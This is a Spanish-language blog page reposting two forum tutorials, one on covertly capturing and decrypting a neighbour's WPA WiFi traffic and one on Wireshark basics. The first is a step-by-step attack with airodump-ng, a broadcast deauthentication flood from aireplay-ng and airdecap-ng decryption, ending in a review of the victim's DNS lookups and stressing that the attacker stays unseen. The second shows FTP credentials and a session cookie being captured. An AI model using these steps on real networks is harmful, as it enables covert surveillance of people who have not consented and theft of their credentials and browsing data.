Mostrando entradas con la etiqueta Sniffing. Mostrar todas las entradas

Capturando el tráfico de una red WiFi como un ninja


Una de las cosas que más nos debería preocupar cuando tenemos a un intruso en nuestra red de confianza (Red local de casa, del trabajo, etc.) es que capture el tráfico y lo analice, de forma que pueda controlar lo que estamos haciendo.

Una vez invadida una red WiFi podríamos intentar capturar tráfico con tcpdump, pero no tendríamos los resultados esperados. Una buena forma de hacerlo sería redirigir todo el tráfico de la red a nuestro equipo para poder analizarlo, pero ésto podría disparar varias alarmas.

The quieter you become, the more you are able to hear
El lema de BackTrack es lo que nos trae a buscar procedimientos más silenciosos, así que... ¿Cómo podemos capturar el tráfico de la red sin llamar la atención?

La respuesta es, como siempre: DEPENDE

Muchos hackers dan una respuesta muy tajante con respecto a la seguridad y el WiFi: No lo uses, usa cable. Pero ¿por qué son tan tajantes?



Algunos se amparan en la lógica de la velocidad de red. Está muy bien que con las redes WiFi N alcances 150Mbps, o que los 450Mbps con wifi a 5GHz, pero sigue siendo menos que la mitad que las redes Gigabit. Coherente, lógico y correcto. En eso es mejor el cable que el WiFi. ¿Pero qué más?

Seguridad. Utilizar WiFi es jugar con fuego bajo determinadas circunstancias, ya que el tráfico de la red se puede capturar sin estar conectado a la red (Cualquiera que sepa levantar claves WEP habrá capturado muchísimo tráfico antes de conocer la contraseña)

Una vez sabida la contraseña podríamos intentar descifrar todo el tráfico capturado para su posterior análisis en Ethereal. Pero en las redes WPA no es tan sencillo. Es muy fácil, pero no tanto.

¿Cómo se crackea una clave WPA?

No lo voy a explicar aquí en detalle, éso debéis estudiarlo en otros posts. Necesitamos llegar aquí sabiendo que necesitamos capturar el handshake de un cliente autenticado para hacerle un ataque por diccionario, hasta que el archivo se descifra correctamente y obtenemos el positivo.

Por esa regla de tres podemos deducir que si tenemos el handshake y la contraseña podemos descifrar los paquetes capturados para analizarlos después. Y para eso no necesitamos estar conectados a la red, sólo tener nuestra antena WiFi a la escucha.

El otro día estuve jugando con ataques de fuerza bruta contra WPS con un resultado fructífero. Usaré ese AP a modo de dummy. (Nota: Los posibles datos identificativos han sido editados)

Código: Text
  1. root@kali:/home/rand0m/neighbor# airodump-ng -w ahorateveo --bssid D8:61:FF:FF:FF:FF --essid VodafoneFFFF --channel  7 --output-format pcap -a wlan0mon

Lanzamos airodump-ng con los parámetros bssid y essid para filtrar sólo el tráfico de la red que nos interesa. Además le decimos que nos guarde el archivo ahorateveo en formato pcap.

Código: Text
  1.  CH  7 ][ Elapsed: 0 s ][ 2015-08-18 22:07
  2.  
  3.  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
  4.  
  5.  D8:61:FF:FF:FF:FF  -81 100       40        0    0   7  54e  WPA  CCMP   PSK  VodafoneFFFF
  6.  
  7.  BSSID              STATION            PWR   Rate    Lost    Frames  Probe

De primeras tenemos nuestra antena a la escucha y filtrando los paquetes de la red que queremos. Ahora necesitamos el handshake, así que lanzamos el ataque DEAUTH con aireplay-ng.

Código: Text
  1. root@kali:/home/rand0m/neighbor# aireplay-ng -0 0 -a D8:61:FF:FF:FF:FF wlan0mon
  2. 22:10:30  Waiting for beacon frame (BSSID: D8:61:FF:FF:FF:FF) on channel 7
  3. NB: this attack is more effective when targeting
  4. a connected wireless client (-c <client's mac>).
  5. 22:10:31  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
  6. 22:10:32  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
  7. 22:10:32  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
  8. 22:10:33  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
  9. 22:10:33  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
  10. 22:10:34  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
  11. 22:10:34  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
  12. 22:10:34  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
  13. 22:10:35  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
  14. 22:10:35  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]

Hasta que conseguimos lo que queríamos: El WPA handshake.

Código: Text
  1.  CH  7 ][ Elapsed: 5 mins ][ 2015-08-18 22:12 ][ WPA handshake: D8:61:FF:FF:FF:FF
  2.  
  3.  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
  4.  
  5.  D8:61:FF:FF:FF:FF  -81 100       40        0    0   7  54e  WPA  CCMP   PSK  VodafoneFFFF
  6.  
  7.  BSSID              STATION            PWR   Rate    Lost    Frames  Probe
  8.  
  9.  D8:61:FF:FF:FF:FF  18:83:FF:FF:FF:FF  -74    1e- 6      0     4019  VodafoneFFFF

Ahora lo dejamos a la escucha y nos olvidamos. Vamos a dejarlo capturando unas horas y luego veremos qué nos encontramos.

Cuando tenemos un buen pino ya podemos ponernos a estudiar los datos recopilados.

Código: Text
  1.  CH  7 ] 9 hours 55 mins ][ 2015-08-19 08:02 ][ WPA handshake: D8:61:FF:FF:FF:FF
  2.  
  3.  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
  4.  
  5.  D8:61:FF:FF:FF:FF  -82  96   298434    99355    0   7  54e  WPA  CCMP   PSK  VodafoneFFFF
  6.  
  7.  BSSID              STATION            PWR   Rate    Lost    Frames  Probe
  8.  
  9.  D8:61:FF:FF:FF:FF  18:83:FF:FF:FF:FF  -75    1e- 6      0     1365  VodafoneFFFF

Ahora, para descifrarlo, usaremos la herramienta airdecap-ng, que viene con la suite de aircrack-ng.

Código: Text
  1. root@kali:/home/rand0m/neighbor# airdecap-ng -e VodafoneFFFF -b D8:61:FF:FF:FF:FF -p Underc0de ahorateveo-01.cap
  2. Total number of packets read       2532614
  3. Total number of WEP data packets         0
  4. Total number of WPA data packets     93405
  5. Number of plaintext data packets         0
  6. Number of decrypted WEP  packets         0
  7. Number of corrupted WEP  packets         0
  8. Number of decrypted WPA  packets     79414

Esto nos generará el archivo ahorateveo-01-dec.cap con los paquetes descifrados. Ya sólo nos queda abrirlo en Wireshark para poder analizar los datos recopilados.

Por ejemplo, viendo las consultas DNS realizadas podemos ver por dónde estuvo navegando.


Y podemos ver que es un chico malo malo que navega por piratebay y por páginas golfas. Lo típico que hace alguien relajándose mientras no hay nadie mirando, pero ¿cuántas veces creemos que no nos observan mientras sí lo hacen?

Además, como hablábamos al principio, los paquetes se capturaron del aire. No estoy conectado a la red, sólo conozco la contraseña.

NO aparezco conectado a su red. NO aparezco enviando tráfico sospechoso. Sólo escucho, descifro y analizo.

Autor: rand0m
Fuente: https://underc0de.org/foro/wireless/capturando-el-trafico-de-una-red-wifi-como-un-ninja

Sniffing con Wireshark


Introducción.

Wireshark es un analizador de paquetes de red, comúnmente llamado sniffer.
 Es utilizado por administradores de redes para ver todo el tráfico que está pasando en un momento específico.
Una de las ventajas que tiene, es que es open source y multiplataforma.
Wireshark ofrece distintos tipos de filtros para leer los paquetes. Captura a demás cookies y passwords que veremos a continuación en este paper.
Para instalar wireshark simplemente hay que ir a su página oficial y descargarlo.

http://www.wireshark.org/download.html

Desde linux, se puede descargar desde la consola.

sudo apt-get install wireshark

 Partes de Wireshark



Enumere las partes más importantes del Wireshark para describirlas por separado.
 1 – Muestra un listado de las interfaces disponibles que podemos poner a la escucha de paquetes.
 2 – Permite configurar algunos parámetros de nuestra interface
 3 – El filtro permite filtras paquetes separándolos por IP, protocolos, etc
 4 – Listado de paquetes. Muestra un resumen de los paquetes capturados, presionando con el otro botón del mouse se listaran opciones disponibles para manejarlos a gusto.
 5 – Panel de vista en Árbol. Muestra el paquete seleccionado con mayor detalle.
 6 – Panel de detalle  de los datos. Muestra los datos del panel superior en formato hexadecimal y ASCII

También podemos ver en el menú superior las siguientes opciones:

File: Contiene las funciones para manipular archivos y para cerrar la aplicación Wireshark.
Edit: Este se puede aplicar funciones a los paquetes, por ejemplo, buscar un paquetes especifico, aplicar una marca al paquete y configurar la interfaz de usuario.
View: Permite configurar el despliegue del paquete capturado.
Go: Desde acá podemos ir a un paquete especifico, volver atrás, adelante, etc.
Capture: Para iniciar y detener la captura de paquetes.
Analyze: Desde analyze podemos manipular los filtros, habilitar o deshabilitar protocolos, flujos de paquetes, etc.
Statistics: Podemos definir u obtener las estadísticas del trafico capturado.
Telephony: Trae herramientas para telefonía.
Tools: Opciones para el firewall
Internal: Parámetros internos de Wireshark
Help: Menú de ayuda.

 Primeros pasos con Wireshark

 Una vez instalado, lo abrimos y presionamos sobre el icono marcado en rojo en la imagen



Esto nos permitirá seleccionar nuestra tarjeta de red que pondremos a la escucha de paquetes.



Para saber que tarjeta poner a la escucha, debemos observar cual es la que recibe paquetes.
 Se puede observar en la imagen que en mi caso es la wlan0. Una vez identificada, damos en Start para comenzar.

Automáticamente el programa comenzara a capturar paquetes de todos los hosts conectados a la red.
Ahora navegare un poco con mis ordenadores por internet para ver que podemos capturar.



Les mostrare un ejemplo de cómo se manifestó mi wireshark cuando hice un apt-get install en la consola de Linux



Ahí podemos ver de que ip a que ip se mueven los paquetes y porque protocolo. A demás de esto podemos ver el contenido del paquete que lo veremos más adelante en este mismo paper.
Si observamos la imagen, hay una caja de texto llamada Filter.



Esa caja de texto, como bien dice su nombre, permite filtrar paquetes. Y ahora veremos algunos de los filtros que posee Wireshark para que podamos usar este sniffer de una forma más eficiente.
 En el filtro se pueden usar operadores lógicos como los siguientes:


== (Igual que)
> (Mayor que)
< (Menor que)
!= (Distinto que)
>= (Mayor o igual que)
<= (Menor o igual que)


Basándome en el paper de Datasecurity, les dejo a continuación los parámetros más usados en este sniffer

Filtros por IP

[En todos los ejemplos, reemplazar 0.0.0.0 por la ip a filtrar]

ip.addr = = 0.0.0.0ip.addr = = 0.0.0.0 && ip.addr = = 0.0.0.0 (Para filtrar más de una IP )
ip.addr = = 0.0.0.0 || ip.addr = = 0.0.0.0 (Para filtrar una IP de cualquiera de las dos)

Para filtrar paquetes de la fuente en direcciones IPv4 especificas:

ip.src == 0.0.0.0ip.src == 0.0.0.0 && ip.src == 0.0.0.0 (Para filtrar más de una IP )
ip.src == 0.0.0.0 || ip.src == 0.0.0.0 (Para filtrar una IP de cualquiera de las dos)

Para filtrar paquetes del destino en direcciones IPv4 especificas:

ip.dst == 0.0.0.0ip.dst == 0.0.0.0 && ip.dst == 0.0.0.0 (Para filtrar más de una IP )
ip.dst == 0.0.0.0 || ip.dst == 0.0.0.0 (Para filtrar una IP de cualquiera de las dos)

Nota: Para direcciones IP v6 utilice: ipv6.addr, ipv6.src, ipv6.dst, etc.

 Para filtrar paquetes del protocolo ARP entre:

arp.src.proto (dirección del protocolo de la fuente)
arp.src.hw (dirección hardware de la fuente)
arp.dst.hw (dirección hardware del destino)
arp.src.hw_mac (dirección MAC de la fuente)
arp.dst.hw_mac (dirección MAC del destino)
arp.src.proto_ipv4 (dirección IPv4 de la fuente )
arp.dst.proto_ipv4 (dirección IPv4 del destino)

Para filtrar paquetes del protocolo Ethernet:

eth.dst == ff:ff:ff:ff:ff:ff (dirección MAC)
eth.src == ff:ff:ff:ff:ff:ff (dirección MAC)
eth.addr == ff:ff:ff:ff:ff:ff (dirección MAC)

Veremos un ejemplo con uno de los filtros: ip.addr == 192.168.1.37



En este caso me debería mostrar los paquetes correspondientes a la ip 192.168.1.37
Se puede ver en verde también 192.168.1.1 y esto es porque hace petición al router.

 Filtro por protocolo

Como vimos hasta ahora, este filtro es muy poderoso, pero se darán cuenta de su potencial ahora que filtraremos por protocolo.
Algunos de los filtros son estos: tcp, http, pop, dns, arp, ssl, etc.
Con un Sniffer podemos obtener datos muy importantes. Desde cookies hasta usuarios y contraseñas. A modo ejemplo, abriré un FTP y veremos lo que hace nuestro Wireshark:



Como se puede ver, solo filtre el protocolo FTP. Y tambien notaremos que sacó mi user y pass del FTP.
Veremos ahora otros de los protocolos que suele capturar. En este caso hare un ping a mi blog www.antrax-labs.org



La imagen muestra el protocolo DNS e ICMP. Que si los añadimos en la caja de texto de filtro, nos los filtrara.
Aquí tenemos filtro por DNS



Cabe aclarar que cada protocolo tiene un color diferente (que puede modificarse a gusto) para resaltarlos y distinguirlos con mayor facilidad.

Otros filtros

Veremos ahora otros filtros de gran utilidad, como este otro que nos permite filtrar por dominio o host

http.host == “DOMINIO”


Acá lo que hice fue poner la url de facebook y robo mi cookie. Veremos ahora un ejemplo con otra web, pero filtrando nada más que el protocolo TCP:



Se puede ver de qué ip privada navego hacia que ip publica. En este caso, la ip pública es la del foro infiernohacker y abajo muestra la url de referencia.

Otras opciones de Wireshark



Veremos ahora algo que se llama Go to Packet o ir al paquete. Para usar esta opción basta con ir a GO >> Go to Packet en el menú de la barra superior.

Permite ir a un número de paquete que especifiquemos en el cuadro de texto.

Otras de las opciones muy útiles que tiene Wireshark es la de poder mostrar en formato ascii la lectura de los paquetes capturados para poder así facilitar su entendimiento

Para ir a esta opción colocamos en el filtro HTTP y solo basta con clickear con el botón secundario del mouse y seleccionar Follow TCP Stream



Como se puede ver, se ve mucho más entendible el código y permite tambien pasarlo a Hexadecimal, C Array etc.

 Espero que les haya sido de utilidad

 ANTRAX